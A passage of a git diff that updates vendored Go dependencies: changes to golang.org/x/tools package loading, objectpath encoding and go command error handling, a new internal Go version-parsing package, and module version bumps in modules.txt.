-func defaultDriver(cfg *Config, patterns ...string) (*driverResponse, error) {
- driver := findExternalDriver(cfg)
- if driver == nil {
- driver = goListDriver
- }
- response, err := driver(cfg, patterns...)
- if err != nil {
- return response, err
- } else if response.NotHandled {
- return goListDriver(cfg, patterns...)
+// The boolean result indicates that an external driver handled the request.
+func defaultDriver(cfg *Config, patterns ...string) (*driverResponse, bool, error) {
+ if driver := findExternalDriver(cfg); driver != nil {
+ response, err := driver(cfg, patterns...)
+ if err != nil {
+ return nil, false, err
+ } else if !response.NotHandled {
+ return response, true, nil
+ }
+ // (fall through)
}
- return response, nil
+
+ response, err := goListDriver(cfg, patterns...)
+ return response, false, err
}
// A Package describes a loaded Go package.
@@ -411,12 +433,6 @@ func init() {
packagesinternal.GetDepsErrors = func(p interface{}) []*packagesinternal.PackageError {
return p.(*Package).depsErrors
}
- packagesinternal.GetGoCmdRunner = func(config interface{}) *gocommand.Runner {
- return config.(*Config).gocmdRunner
- }
- packagesinternal.SetGoCmdRunner = func(config interface{}, runner *gocommand.Runner) {
- config.(*Config).gocmdRunner = runner
- }
packagesinternal.SetModFile = func(config interface{}, value string) {
config.(*Config).modFile = value
}
@@ -553,7 +569,7 @@ type loaderPackage struct {
type loader struct {
pkgs map[string]*loaderPackage
Config
- sizes types.Sizes
+ sizes types.Sizes // non-nil if needed by mode
parseCache map[string]*parseValue
parseCacheMu sync.Mutex
exportMu sync.Mutex // enforces mutual exclusion of exportdata operations
@@ -678,39 +694,38 @@ func (ld *loader) refine(response *driverResponse) ([]*Package, error) {
}
}
- // Materialize the import graph.
-
- const (
- white = 0 // new
- grey = 1 // in progress
- black = 2 // complete
- )
-
- // visit traverses the import graph, depth-first,
- // and materializes the graph as Packages.Imports.
- //
- // Valid imports are saved in the Packages.Import map.
- // Invalid imports (cycles and missing nodes) are saved in the importErrors map.
- // Thus, even in the presence of both kinds of errors, the Import graph remains a DAG.
- //
- // visit returns whether the package needs src or has a transitive
- // dependency on a package that does. These are the only packages
- // for which we load source code.
- var stack []*loaderPackage
- var visit func(lpkg *loaderPackage) bool
- var srcPkgs []*loaderPackage
- visit = func(lpkg *loaderPackage) bool {
- switch lpkg.color {
- case black:
- return lpkg.needsrc
- case grey:
- panic("internal error: grey node")
- }
- lpkg.color = grey
- stack = append(stack, lpkg) // push
- stubs := lpkg.Imports // the structure form has only stubs with the ID in the Imports
- // If NeedImports isn't set, the imports fields will all be zeroed out.
- if ld.Mode&NeedImports != 0 {
+ if ld.Mode&NeedImports != 0 {
+ // Materialize the import graph.
+
+ const (
+ white = 0 // new
+ grey = 1 // in progress
+ black = 2 // complete
+ )
+
+ // visit traverses the import graph, depth-first,
+ // and materializes the graph as Packages.Imports.
+ //
+ // Valid imports are saved in the Packages.Import map.
+ // Invalid imports (cycles and missing nodes) are saved in the importErrors map.
+ // Thus, even in the presence of both kinds of errors,
+ // the Import graph remains a DAG.
+ //
+ // visit returns whether the package needs src or has a transitive
+ // dependency on a package that does. These are the only packages
+ // for which we load source code.
+ var stack []*loaderPackage
+ var visit func(lpkg *loaderPackage) bool
+ visit = func(lpkg *loaderPackage) bool {
+ switch lpkg.color {
+ case black:
+ return lpkg.needsrc
+ case grey:
+ panic("internal error: grey node")
+ }
+ lpkg.color = grey
+ stack = append(stack, lpkg) // push
+ stubs := lpkg.Imports // the structure form has only stubs with the ID in the Imports
lpkg.Imports = make(map[string]*Package, len(stubs))
for importPath, ipkg := range stubs {
var importErr error
@@ -734,40 +749,39 @@ func (ld *loader) refine(response *driverResponse) ([]*Package, error) {
}
lpkg.Imports[importPath] = imp.Package
}
- }
- if lpkg.needsrc {
- srcPkgs = append(srcPkgs, lpkg)
- }
- if ld.Mode&NeedTypesSizes != 0 {
- lpkg.TypesSizes = ld.sizes
- }
- stack = stack[:len(stack)-1] // pop
- lpkg.color = black
- return lpkg.needsrc
- }
+ // Complete type information is required for the
+ // immediate dependencies of each source package.
+ if lpkg.needsrc && ld.Mode&NeedTypes != 0 {
+ for _, ipkg := range lpkg.Imports {
+ ld.pkgs[ipkg.ID].needtypes = true
+ }
+ }
- if ld.Mode&NeedImports == 0 {
- // We do this to drop the stub import packages that we are not even going to try to resolve.
- for _, lpkg := range initial {
- lpkg.Imports = nil
+ // NeedTypeSizes causes TypeSizes to be set even
+ // on packages for which types aren't needed.
+ if ld.Mode&NeedTypesSizes != 0 {
+ lpkg.TypesSizes = ld.sizes
+ }
+ stack = stack[:len(stack)-1] // pop
+ lpkg.color = black
+
+ return lpkg.needsrc
}
- } else {
+
// For each initial package, create its import DAG.
for _, lpkg := range initial {
visit(lpkg)
}
- }
- if ld.Mode&NeedImports != 0 && ld.Mode&NeedTypes != 0 {
- for _, lpkg := range srcPkgs {
- // Complete type information is required for the
- // immediate dependencies of each source package.
- for _, ipkg := range lpkg.Imports {
- imp := ld.pkgs[ipkg.ID]
- imp.needtypes = true
- }
+
+ } else {
+ // !NeedImports: drop the stub (ID-only) import packages
+ // that we are not even going to try to resolve.
+ for _, lpkg := range initial {
+ lpkg.Imports = nil
}
}
+
// Load type data and syntax if needed, starting at
// the initial packages (roots of the import DAG).
if ld.Mode&NeedTypes != 0 || ld.Mode&NeedSyntax != 0 {
@@ -1005,6 +1019,7 @@ func (ld *loader) loadPackage(lpkg *loaderPackage) {
Selections: make(map[*ast.SelectorExpr]*types.Selection),
}
typeparams.InitInstanceInfo(lpkg.TypesInfo)
+ versions.InitFileVersions(lpkg.TypesInfo)
lpkg.TypesSizes = ld.sizes
importer := importerFunc(func(path string) (*types.Package, error) {
@@ -1042,7 +1057,7 @@ func (ld *loader) loadPackage(lpkg *loaderPackage) {
IgnoreFuncBodies: ld.Mode&NeedDeps == 0 && !lpkg.initial,
Error: appendError,
- Sizes: ld.sizes,
+ Sizes: ld.sizes, // may be nil
}
if lpkg.Module != nil && lpkg.Module.GoVersion != "" {
typesinternal.SetGoVersion(tc, "go"+lpkg.Module.GoVersion)
diff --git a/vendor/golang.org/x/tools/go/types/objectpath/objectpath.go b/vendor/golang.org/x/tools/go/types/objectpath/objectpath.go
index fa5834baf7..e742ecc464 100644
--- a/vendor/golang.org/x/tools/go/types/objectpath/objectpath.go
+++ b/vendor/golang.org/x/tools/go/types/objectpath/objectpath.go
@@ -26,13 +26,10 @@ package objectpath
import (
"fmt"
"go/types"
- "sort"
"strconv"
"strings"
- _ "unsafe"
"golang.org/x/tools/internal/typeparams"
- "golang.org/x/tools/internal/typesinternal"
)
// A Path is an opaque name that identifies a types.Object
@@ -123,20 +120,7 @@ func For(obj types.Object) (Path, error) {
// An Encoder amortizes the cost of encoding the paths of multiple objects.
// The zero value of an Encoder is ready to use.
type Encoder struct {
- scopeMemo map[*types.Scope][]types.Object // memoization of scopeObjects
- namedMethodsMemo map[*types.Named][]*types.Func // memoization of namedMethods()
- skipMethodSorting bool
-}
-
-// Expose back doors so that gopls can avoid method sorting, which can dominate
-// analysis on certain repositories.
-//
-// TODO(golang/go#61443): remove this.
-func init() {
- typesinternal.SkipEncoderMethodSorting = func(enc interface{}) {
- enc.(*Encoder).skipMethodSorting = true
- }
- typesinternal.ObjectpathObject = object
+ scopeMemo map[*types.Scope][]types.Object // memoization of scopeObjects
}
// For returns the path to an object relative to its package,
@@ -328,31 +312,18 @@ func (enc *Encoder) For(obj types.Object) (Path, error) {
// Inspect declared methods of defined types.
if T, ok := o.Type().(*types.Named); ok {
path = append(path, opType)
- if !enc.skipMethodSorting {
- // Note that method index here is always with respect
- // to canonical ordering of methods, regardless of how
- // they appear in the underlying type.
- for i, m := range enc.namedMethods(T) {
- path2 := appendOpArg(path, opMethod, i)
- if m == obj {
- return Path(path2), nil // found declared method
- }
- if r := find(obj, m.Type(), append(path2, opType), nil); r != nil {
- return Path(r), nil
- }
+ // The method index here is always with respect
+ // to the underlying go/types data structures,
+ // which ultimately derives from source order
+ // and must be preserved by export data.
+ for i := 0; i < T.NumMethods(); i++ {
+ m := T.Method(i)
+ path2 := appendOpArg(path, opMethod, i)
+ if m == obj {
+ return Path(path2), nil // found declared method
}
- } else {
- // This branch must match the logic in the branch above, using go/types
- // APIs without sorting.
- for i := 0; i < T.NumMethods(); i++ {
- m := T.Method(i)
- path2 := appendOpArg(path, opMethod, i)
- if m == obj {
- return Path(path2), nil // found declared method
- }
- if r := find(obj, m.Type(), append(path2, opType), nil); r != nil {
- return Path(r), nil
- }
+ if r := find(obj, m.Type(), append(path2, opType), nil); r != nil {
+ return Path(r), nil
}
}
}
@@ -448,22 +419,13 @@ func (enc *Encoder) concreteMethod(meth *types.Func) (Path, bool) {
path = append(path, name...)
path = append(path, opType)
- if !enc.skipMethodSorting {
- for i, m := range enc.namedMethods(named) {
- if m == meth {
- path = appendOpArg(path, opMethod, i)
- return Path(path), true
- }
- }
- } else {
- // This branch must match the logic of the branch above, using go/types
- // APIs without sorting.
- for i := 0; i < named.NumMethods(); i++ {
- m := named.Method(i)
- if m == meth {
- path = appendOpArg(path, opMethod, i)
- return Path(path), true
- }
+ // Method indices are w.r.t. the go/types data structures,
+ // ultimately deriving from source order,
+ // which is preserved by export data.
+ for i := 0; i < named.NumMethods(); i++ {
+ if named.Method(i) == meth {
+ path = appendOpArg(path, opMethod, i)
+ return Path(path), true
}
}
@@ -576,12 +538,7 @@ func findTypeParam(obj types.Object, list *typeparams.TypeParamList, path []byte
// Object returns the object denoted by path p within the package pkg.
func Object(pkg *types.Package, p Path) (types.Object, error) {
- return object(pkg, string(p), false)
-}
-
-// Note: the skipMethodSorting parameter must match the value of
-// Encoder.skipMethodSorting used during encoding.
-func object(pkg *types.Package, pathstr string, skipMethodSorting bool) (types.Object, error) {
+ pathstr := string(p)
if pathstr == "" {
return nil, fmt.Errorf("empty path")
}
@@ -747,12 +704,7 @@ func object(pkg *types.Package, pathstr string, skipMethodSorting bool) (types.O
if index >= t.NumMethods() {
return nil, fmt.Errorf("method index %d out of range [0-%d)", index, t.NumMethods())
}
- if skipMethodSorting {
- obj = t.Method(index)
- } else {
- methods := namedMethods(t) // (unmemoized)
- obj = methods[index] // Id-ordered
- }
+ obj = t.Method(index)
default:
return nil, fmt.Errorf("cannot apply %q to %s (got %T, want interface or named)", code, t, t)
@@ -779,33 +731,6 @@ func object(pkg *types.Package, pathstr string, skipMethodSorting bool) (types.O
return obj, nil // success
}
-// namedMethods returns the methods of a Named type in ascending Id order.
-func namedMethods(named *types.Named) []*types.Func {
- methods := make([]*types.Func, named.NumMethods())
- for i := range methods {
- methods[i] = named.Method(i)
- }
- sort.Slice(methods, func(i, j int) bool {
- return methods[i].Id() < methods[j].Id()
- })
- return methods
-}
-
-// namedMethods is a memoization of the namedMethods function. Callers must not modify the result.
-func (enc *Encoder) namedMethods(named *types.Named) []*types.Func {
- m := enc.namedMethodsMemo
- if m == nil {
- m = make(map[*types.Named][]*types.Func)
- enc.namedMethodsMemo = m
- }
- methods, ok := m[named]
- if !ok {
- methods = namedMethods(named) // allocates and sorts
- m[named] = methods
- }
- return methods
-}
-
// scopeObjects is a memoization of scope objects.
// Callers must not modify the result.
func (enc *Encoder) scopeObjects(scope *types.Scope) []types.Object {
diff --git a/vendor/golang.org/x/tools/internal/gocommand/invoke.go b/vendor/golang.org/x/tools/internal/gocommand/invoke.go
index 53cf66da01..55312522dc 100644
--- a/vendor/golang.org/x/tools/internal/gocommand/invoke.go
+++ b/vendor/golang.org/x/tools/internal/gocommand/invoke.go
@@ -13,6 +13,7 @@ import (
"io"
"log"
"os"
+ "os/exec"
"reflect"
"regexp"
"runtime"
@@ -21,8 +22,6 @@ import (
"sync"
"time"
- exec "golang.org/x/sys/execabs"
-
"golang.org/x/tools/internal/event"
"golang.org/x/tools/internal/event/keys"
"golang.org/x/tools/internal/event/label"
@@ -85,6 +84,7 @@ func (runner *Runner) RunPiped(ctx context.Context, inv Invocation, stdout, stde
// RunRaw runs the invocation, serializing requests only if they fight over
// go.mod changes.
+// Postcondition: both error results have same nilness.
func (runner *Runner) RunRaw(ctx context.Context, inv Invocation) (*bytes.Buffer, *bytes.Buffer, error, error) {
ctx, done := event.Start(ctx, "gocommand.Runner.RunRaw", invLabels(inv)...)
defer done()
@@ -95,23 +95,24 @@ func (runner *Runner) RunRaw(ctx context.Context, inv Invocation) (*bytes.Buffer
stdout, stderr, friendlyErr, err := runner.runConcurrent(ctx, inv)
// If we encounter a load concurrency error, we need to retry serially.
- if friendlyErr == nil || !modConcurrencyError.MatchString(friendlyErr.Error()) {
- return stdout, stderr, friendlyErr, err
+ if friendlyErr != nil && modConcurrencyError.MatchString(friendlyErr.Error()) {
+ event.Error(ctx, "Load concurrency error, will retry serially", err)
+
+ // Run serially by calling runPiped.
+ stdout.Reset()
+ stderr.Reset()
+ friendlyErr, err = runner.runPiped(ctx, inv, stdout, stderr)
}
- event.Error(ctx, "Load concurrency error, will retry serially", err)
- // Run serially by calling runPiped.
- stdout.Reset()
- stderr.Reset()
- friendlyErr, err = runner.runPiped(ctx, inv, stdout, stderr)
return stdout, stderr, friendlyErr, err
}
+// Postcondition: both error results have same nilness.
func (runner *Runner) runConcurrent(ctx context.Context, inv Invocation) (*bytes.Buffer, *bytes.Buffer, error, error) {
// Wait for 1 worker to become available.
select {
case <-ctx.Done():
- return nil, nil, nil, ctx.Err()
+ return nil, nil, ctx.Err(), ctx.Err()
case runner.inFlight <- struct{}{}:
defer func() { <-runner.inFlight }()
}
@@ -121,6 +122,7 @@ func (runner *Runner) runConcurrent(ctx context.Context, inv Invocation) (*bytes
return stdout, stderr, friendlyErr, err
}
+// Postcondition: both error results have same nilness.
func (runner *Runner) runPiped(ctx context.Context, inv Invocation, stdout, stderr io.Writer) (error, error) {
// Make sure the runner is always initialized.
runner.initialize()
@@ -129,7 +131,7 @@ func (runner *Runner) runPiped(ctx context.Context, inv Invocation, stdout, stde
// runPiped commands.
select {
case <-ctx.Done():
- return nil, ctx.Err()
+ return ctx.Err(), ctx.Err()
case runner.serialized <- struct{}{}:
defer func() { <-runner.serialized }()
}
@@ -139,7 +141,7 @@ func (runner *Runner) runPiped(ctx context.Context, inv Invocation, stdout, stde
for i := 0; i < maxInFlight; i++ {
select {
case <-ctx.Done():
- return nil, ctx.Err()
+ return ctx.Err(), ctx.Err()
case runner.inFlight <- struct{}{}:
// Make sure we always "return" any workers we took.
defer func() { <-runner.inFlight }()
@@ -172,6 +174,7 @@ type Invocation struct {
Logf func(format string, args ...interface{})
}
+// Postcondition: both error results have same nilness.
func (i *Invocation) runWithFriendlyError(ctx context.Context, stdout, stderr io.Writer) (friendlyError error, rawError error) {
rawError = i.run(ctx, stdout, stderr)
if rawError != nil {
diff --git a/vendor/golang.org/x/tools/internal/packagesinternal/packages.go b/vendor/golang.org/x/tools/internal/packagesinternal/packages.go
index d9950b1f0b..44719de173 100644
--- a/vendor/golang.org/x/tools/internal/packagesinternal/packages.go
+++ b/vendor/golang.org/x/tools/internal/packagesinternal/packages.go
@@ -5,10 +5,6 @@
// Package packagesinternal exposes internal-only fields from go/packages.
package packagesinternal
-import (
- "golang.org/x/tools/internal/gocommand"
-)
-
var GetForTest = func(p interface{}) string { return "" }
var GetDepsErrors = func(p interface{}) []*PackageError { return nil }
@@ -18,10 +14,6 @@ type PackageError struct {
Err string // the error itself
}
-var GetGoCmdRunner = func(config interface{}) *gocommand.Runner { return nil }
-
-var SetGoCmdRunner = func(config interface{}, runner *gocommand.Runner) {}
-
var TypecheckCgo int
var DepsErrors int // must be set as a LoadMode to call GetDepsErrors
var ForTest int // must be set as a LoadMode to call GetForTest
diff --git a/vendor/golang.org/x/tools/internal/typesinternal/objectpath.go b/vendor/golang.org/x/tools/internal/typesinternal/objectpath.go
deleted file mode 100644
index 5e96e89557..0000000000
--- a/vendor/golang.org/x/tools/internal/typesinternal/objectpath.go
+++ /dev/null
@@ -1,24 +0,0 @@
-// Copyright 2023 The Go Authors. All rights reserved.
-// Use of this source code is governed by a BSD-style
-// license that can be found in the LICENSE file.
-
-package typesinternal
-
-import "go/types"
-
-// This file contains back doors that allow gopls to avoid method sorting when
-// using the objectpath package.
-//
-// This is performance-critical in certain repositories, but changing the
-// behavior of the objectpath package is still being discussed in
-// golang/go#61443. If we decide to remove the sorting in objectpath we can
-// simply delete these back doors. Otherwise, we should add a new API to
-// objectpath that allows controlling the sorting.
-
-// SkipEncoderMethodSorting marks enc (which must be an *objectpath.Encoder) as
-// not requiring sorted methods.
-var SkipEncoderMethodSorting func(enc interface{})
-
-// ObjectpathObject is like objectpath.Object, but allows suppressing method
-// sorting.
-var ObjectpathObject func(pkg *types.Package, p string, skipMethodSorting bool) (types.Object, error)
diff --git a/vendor/golang.org/x/tools/internal/versions/gover.go b/vendor/golang.org/x/tools/internal/versions/gover.go
new file mode 100644
index 0000000000..bbabcd22e9
--- /dev/null
+++ b/vendor/golang.org/x/tools/internal/versions/gover.go
@@ -0,0 +1,172 @@
+// Copyright 2023 The Go Authors. All rights reserved.
+// Use of this source code is governed by a BSD-style
+// license that can be found in the LICENSE file.
+
+// This is a fork of internal/gover for use by x/tools until
+// go1.21 and earlier are no longer supported by x/tools.
+
+package versions
+
+import "strings"
+
+// A gover is a parsed Go gover: major[.Minor[.Patch]][kind[pre]]
+// The numbers are the original decimal strings to avoid integer overflows
+// and since there is very little actual math. (Probably overflow doesn't matter in practice,
+// but at the time this code was written, there was an existing test that used
+// go1.99999999999, which does not fit in an int on 32-bit platforms.
+// The "big decimal" representation avoids the problem entirely.)
+type gover struct {
+ major string // decimal
+ minor string // decimal or ""
+ patch string // decimal or ""
+ kind string // "", "alpha", "beta", "rc"
+ pre string // decimal or ""
+}
+
+// compare returns -1, 0, or +1 depending on whether
+// x < y, x == y, or x > y, interpreted as toolchain versions.
+// The versions x and y must not begin with a "go" prefix: just "1.21" not "go1.21".
+// Malformed versions compare less than well-formed versions and equal to each other.
+// The language version "1.21" compares less than the release candidate and eventual releases "1.21rc1" and "1.21.0".
+func compare(x, y string) int {
+ vx := parse(x)
+ vy := parse(y)
+
+ if c := cmpInt(vx.major, vy.major); c != 0 {
+ return c
+ }
+ if c := cmpInt(vx.minor, vy.minor); c != 0 {
+ return c
+ }
+ if c := cmpInt(vx.patch, vy.patch); c != 0 {
+ return c
+ }
+ if c := strings.Compare(vx.kind, vy.kind); c != 0 { // "" < alpha < beta < rc
+ return c
+ }
+ if c := cmpInt(vx.pre, vy.pre); c != 0 {
+ return c
+ }
+ return 0
+}
+
+// lang returns the Go language version. For example, lang("1.2.3") == "1.2".
+func lang(x string) string {
+ v := parse(x)
+ if v.minor == "" || v.major == "1" && v.minor == "0" {
+ return v.major
+ }
+ return v.major + "." + v.minor
+}
+
+// isValid reports whether the version x is valid.
+func isValid(x string) bool {
+ return parse(x) != gover{}
+}
+
+// parse parses the Go version string x into a version.
+// It returns the zero version if x is malformed.
+func parse(x string) gover {
+ var v gover
+
+ // Parse major version.
+ var ok bool
+ v.major, x, ok = cutInt(x)
+ if !ok {
+ return gover{}
+ }
+ if x == "" {
+ // Interpret "1" as "1.0.0".
+ v.minor = "0"
+ v.patch = "0"
+ return v
+ }
+
+ // Parse . before minor version.
+ if x[0] != '.' {
+ return gover{}
+ }
+
+ // Parse minor version.
+ v.minor, x, ok = cutInt(x[1:])
+ if !ok {
+ return gover{}
+ }
+ if x == "" {
+ // Patch missing is same as "0" for older versions.
+ // Starting in Go 1.21, patch missing is different from explicit .0.
+ if cmpInt(v.minor, "21") < 0 {
+ v.patch = "0"
+ }
+ return v
+ }
+
+ // Parse patch if present.
+ if x[0] == '.' {
+ v.patch, x, ok = cutInt(x[1:])
+ if !ok || x != "" {
+ // Note that we are disallowing prereleases (alpha, beta, rc) for patch releases here (x != "").
+ // Allowing them would be a bit confusing because we already have:
+ // 1.21 < 1.21rc1
+ // But a prerelease of a patch would have the opposite effect:
+ // 1.21.3rc1 < 1.21.3
+ // We've never needed them before, so let's not start now.
+ return gover{}
+ }
+ return v
+ }
+
+ // Parse prerelease.
+ i := 0
+ for i < len(x) && (x[i] < '0' || '9' < x[i]) {
+ if x[i] < 'a' || 'z' < x[i] {
+ return gover{}
+ }
+ i++
+ }
+ if i == 0 {
+ return gover{}
+ }
+ v.kind, x = x[:i], x[i:]
+ if x == "" {
+ return v
+ }
+ v.pre, x, ok = cutInt(x)
+ if !ok || x != "" {
+ return gover{}
+ }
+
+ return v
+}
+
+// cutInt scans the leading decimal number at the start of x to an integer
+// and returns that value and the rest of the string.
+func cutInt(x string) (n, rest string, ok bool) {
+ i := 0
+ for i < len(x) && '0' <= x[i] && x[i] <= '9' {
+ i++
+ }
+ if i == 0 || x[0] == '0' && i != 1 { // no digits or unnecessary leading zero
+ return "", "", false
+ }
+ return x[:i], x[i:], true
+}
+
+// cmpInt returns cmp.Compare(x, y) interpreting x and y as decimal numbers.
+// (Copied from golang.org/x/mod/semver's compareInt.)
+func cmpInt(x, y string) int {
+ if x == y {
+ return 0
+ }
+ if len(x) < len(y) {
+ return -1
+ }
+ if len(x) > len(y) {
+ return +1
+ }
+ if x < y {
+ return -1
+ } else {
+ return +1
+ }
+}
diff --git a/vendor/golang.org/x/tools/internal/versions/types.go b/vendor/golang.org/x/tools/internal/versions/types.go
new file mode 100644
index 0000000000..562eef21fa
--- /dev/null
+++ b/vendor/golang.org/x/tools/internal/versions/types.go
@@ -0,0 +1,19 @@
+// Copyright 2023 The Go Authors. All rights reserved.
+// Use of this source code is governed by a BSD-style
+// license that can be found in the LICENSE file.
+
+package versions
+
+import (
+ "go/types"
+)
+
+// GoVersion returns the Go version of the type package.
+// It returns zero if no version can be determined.
+func GoVersion(pkg *types.Package) string {
+ // TODO(taking): x/tools can call GoVersion() [from 1.21] after 1.25.
+ if pkg, ok := any(pkg).(interface{ GoVersion() string }); ok {
+ return pkg.GoVersion()
+ }
+ return ""
+}
diff --git a/vendor/golang.org/x/tools/internal/versions/types_go121.go b/vendor/golang.org/x/tools/internal/versions/types_go121.go
new file mode 100644
index 0000000000..a7b79207ae
--- /dev/null
+++ b/vendor/golang.org/x/tools/internal/versions/types_go121.go
@@ -0,0 +1,20 @@
+// Copyright 2023 The Go Authors. All rights reserved.
+// Use of this source code is governed by a BSD-style
+// license that can be found in the LICENSE file.
+
+//go:build !go1.22
+// +build !go1.22
+
+package versions
+
+import (
+ "go/ast"
+ "go/types"
+)
+
+// FileVersions always reports the a file's Go version as the
+// zero version at this Go version.
+func FileVersions(info *types.Info, file *ast.File) string { return "" }
+
+// InitFileVersions is a noop at this Go version.
+func InitFileVersions(*types.Info) {}
diff --git a/vendor/golang.org/x/tools/internal/versions/types_go122.go b/vendor/golang.org/x/tools/internal/versions/types_go122.go
new file mode 100644
index 0000000000..7b9ba89a82
--- /dev/null
+++ b/vendor/golang.org/x/tools/internal/versions/types_go122.go
@@ -0,0 +1,24 @@
+// Copyright 2023 The Go Authors. All rights reserved.
+// Use of this source code is governed by a BSD-style
+// license that can be found in the LICENSE file.
+
+//go:build go1.22
+// +build go1.22
+
+package versions
+
+import (
+ "go/ast"
+ "go/types"
+)
+
+// FileVersions maps a file to the file's semantic Go version.
+// The reported version is the zero version if a version cannot be determined.
+func FileVersions(info *types.Info, file *ast.File) string {
+ return info.FileVersions[file]
+}
+
+// InitFileVersions initializes info to record Go versions for Go files.
+func InitFileVersions(info *types.Info) {
+ info.FileVersions = make(map[*ast.File]string)
+}
diff --git a/vendor/golang.org/x/tools/internal/versions/versions_go121.go b/vendor/golang.org/x/tools/internal/versions/versions_go121.go
new file mode 100644
index 0000000000..cf4a7d0360
--- /dev/null
+++ b/vendor/golang.org/x/tools/internal/versions/versions_go121.go
@@ -0,0 +1,49 @@
+// Copyright 2023 The Go Authors. All rights reserved.
+// Use of this source code is governed by a BSD-style
+// license that can be found in the LICENSE file.
+
+//go:build !go1.22
+// +build !go1.22
+
+package versions
+
+// Lang returns the Go language version for version x.
+// If x is not a valid version, Lang returns the empty string.
+// For example:
+//
+// Lang("go1.21rc2") = "go1.21"
+// Lang("go1.21.2") = "go1.21"
+// Lang("go1.21") = "go1.21"
+// Lang("go1") = "go1"
+// Lang("bad") = ""
+// Lang("1.21") = ""
+func Lang(x string) string {
+ v := lang(stripGo(x))
+ if v == "" {
+ return ""
+ }
+ return x[:2+len(v)] // "go"+v without allocation
+}
+
+// Compare returns -1, 0, or +1 depending on whether
+// x < y, x == y, or x > y, interpreted as Go versions.
+// The versions x and y must begin with a "go" prefix: "go1.21" not "1.21".
+// Invalid versions, including the empty string, compare less than
+// valid versions and equal to each other.
+// The language version "go1.21" compares less than the
+// release candidate and eventual releases "go1.21rc1" and "go1.21.0".
+// Custom toolchain suffixes are ignored during comparison:
+// "go1.21.0" and "go1.21.0-bigcorp" are equal.
+func Compare(x, y string) int { return compare(stripGo(x), stripGo(y)) }
+
+// IsValid reports whether the version x is valid.
+func IsValid(x string) bool { return isValid(stripGo(x)) }
+
+// stripGo converts from a "go1.21" version to a "1.21" version.
+// If v does not start with "go", stripGo returns the empty string (a known invalid version).
+func stripGo(v string) string {
+ if len(v) < 2 || v[:2] != "go" {
+ return ""
+ }
+ return v[2:]
+}
diff --git a/vendor/golang.org/x/tools/internal/versions/versions_go122.go b/vendor/golang.org/x/tools/internal/versions/versions_go122.go
new file mode 100644
index 0000000000..c1c1814b28
--- /dev/null
+++ b/vendor/golang.org/x/tools/internal/versions/versions_go122.go
@@ -0,0 +1,38 @@
+// Copyright 2023 The Go Authors. All rights reserved.
+// Use of this source code is governed by a BSD-style
+// license that can be found in the LICENSE file.
+
+//go:build go1.22
+// +build go1.22
+
+package versions
+
+import (
+ "go/version"
+)
+
+// Lang returns the Go language version for version x.
+// If x is not a valid version, Lang returns the empty string.
+// For example:
+//
+// Lang("go1.21rc2") = "go1.21"
+// Lang("go1.21.2") = "go1.21"
+// Lang("go1.21") = "go1.21"
+// Lang("go1") = "go1"
+// Lang("bad") = ""
+// Lang("1.21") = ""
+func Lang(x string) string { return version.Lang(x) }
+
+// Compare returns -1, 0, or +1 depending on whether
+// x < y, x == y, or x > y, interpreted as Go versions.
+// The versions x and y must begin with a "go" prefix: "go1.21" not "1.21".
+// Invalid versions, including the empty string, compare less than
+// valid versions and equal to each other.
+// The language version "go1.21" compares less than the
+// release candidate and eventual releases "go1.21rc1" and "go1.21.0".
+// Custom toolchain suffixes are ignored during comparison:
+// "go1.21.0" and "go1.21.0-bigcorp" are equal.
+func Compare(x, y string) int { return version.Compare(x, y) }
+
+// IsValid reports whether the version x is valid.
+func IsValid(x string) bool { return version.IsValid(x) }
diff --git a/vendor/modules.txt b/vendor/modules.txt
index fd2ad5ced9..d4d429cf5f 100644
--- a/vendor/modules.txt
+++ b/vendor/modules.txt
@@ -518,13 +518,16 @@ github.com/moloch--/asciicast
# github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945
## explicit; go 1.17
github.com/moloch--/memmod
-# github.com/ncruces/go-sqlite3 v0.7.2
-## explicit; go 1.19
+# github.com/ncruces/go-sqlite3 v0.8.4
+## explicit; go 1.21
github.com/ncruces/go-sqlite3
github.com/ncruces/go-sqlite3/driver
github.com/ncruces/go-sqlite3/embed
github.com/ncruces/go-sqlite3/internal/util
github.com/ncruces/go-sqlite3/vfs
+# github.com/ncruces/go-sqlite3/gormlite v0.8.4
+## explicit; go 1.21
+github.com/ncruces/go-sqlite3/gormlite
# github.com/ncruces/julianday v0.1.5
## explicit; go 1.17
github.com/ncruces/julianday
@@ -541,11 +544,14 @@ github.com/pkg/errors
# github.com/pmezard/go-difflib v1.0.0
## explicit
github.com/pmezard/go-difflib/difflib
-# github.com/reeflective/console v0.1.6
-## explicit; go 1.20
+# github.com/psanford/memfs v0.0.0-20230130182539-4dbf7e3e865e
+## explicit; go 1.16
+github.com/psanford/memfs
+# github.com/reeflective/console v0.1.15
+## explicit; go 1.21
github.com/reeflective/console
github.com/reeflective/console/commands/readline
-# github.com/reeflective/readline v1.0.11
+# github.com/reeflective/readline v1.0.13
## explicit; go 1.21
github.com/reeflective/readline
github.com/reeflective/readline/inputrc
@@ -560,13 +566,28 @@ github.com/reeflective/readline/internal/macro
github.com/reeflective/readline/internal/strutil
github.com/reeflective/readline/internal/term
github.com/reeflective/readline/internal/ui
+# github.com/reeflective/team v0.1.2
+## explicit; go 1.21
+github.com/reeflective/team
+github.com/reeflective/team/client
+github.com/reeflective/team/client/commands
+github.com/reeflective/team/internal/assets
+github.com/reeflective/team/internal/certs
+github.com/reeflective/team/internal/command
+github.com/reeflective/team/internal/db
+github.com/reeflective/team/internal/db/wasmsqlite
+github.com/reeflective/team/internal/log
+github.com/reeflective/team/internal/systemd
+github.com/reeflective/team/internal/version
+github.com/reeflective/team/server
+github.com/reeflective/team/server/commands
# github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec
## explicit; go 1.12
github.com/remyoudompheng/bigfft
# github.com/rivo/uniseg v0.4.4
## explicit; go 1.18
github.com/rivo/uniseg
-# github.com/rsteube/carapace v0.36.3 => github.com/reeflective/carapace v0.25.2-0.20230602202234-e8d757e458ca
+# github.com/rsteube/carapace v0.47.5
## explicit; go 1.15
github.com/rsteube/carapace
github.com/rsteube/carapace/internal/cache
@@ -583,18 +604,21 @@ github.com/rsteube/carapace/internal/shell/elvish
github.com/rsteube/carapace/internal/shell/export
github.com/rsteube/carapace/internal/shell/fish
github.com/rsteube/carapace/internal/shell/ion
-github.com/rsteube/carapace/internal/shell/library
github.com/rsteube/carapace/internal/shell/nushell
github.com/rsteube/carapace/internal/shell/oil
github.com/rsteube/carapace/internal/shell/powershell
-github.com/rsteube/carapace/internal/shell/spec
github.com/rsteube/carapace/internal/shell/tcsh
github.com/rsteube/carapace/internal/shell/xonsh
github.com/rsteube/carapace/internal/shell/zsh
